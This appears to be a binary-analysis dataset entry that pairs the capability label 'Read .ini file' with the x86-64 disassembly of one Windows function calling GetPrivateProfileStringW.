Capabilities:
Read .ini file

Disassembly:
push rsi
sub rsp, 0x1e0
mov rax, qword [0x1400a13c0]
xor rax, rsp
mov qword [rsp + 0x1d8], rax
movzx eax, byte [rcx]
test al, 0x11
jne 0x14002cc2a
cmp qword [rcx + 0x20], 0
jne 0x14002cc2a
test al, 2
lea r8, [0x1400ae5cc]
lea rax, [0x14009455c]
cmovne r8, rax
cmove rax, rdx
lea r9, [0x1400b2de0]
lea r10, [0x1400b2bd0]
cmove r10, r9
test rdx, rdx
cmove rax, r8
mov rdx, qword [rcx + 8]
mov rsi, rcx
mov r8, qword [rcx + 0x10]
mov qword [rsp + 0x28], r10
mov dword [rsp + 0x20], 0xc8
lea r9, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
test eax, eax
je 0x14002cc2a
mov byte [rsp + 0x3f], 1
lea rdx, [rsp + 0x40]
lea r8, [rsp + 0x3f]
mov rcx, rsi
call fcn.140015d50
mov rcx, qword [rsp + 0x1d8]
xor rcx, rsp
call fcn.140046610
nop
add rsp, 0x1e0
pop rsi
ret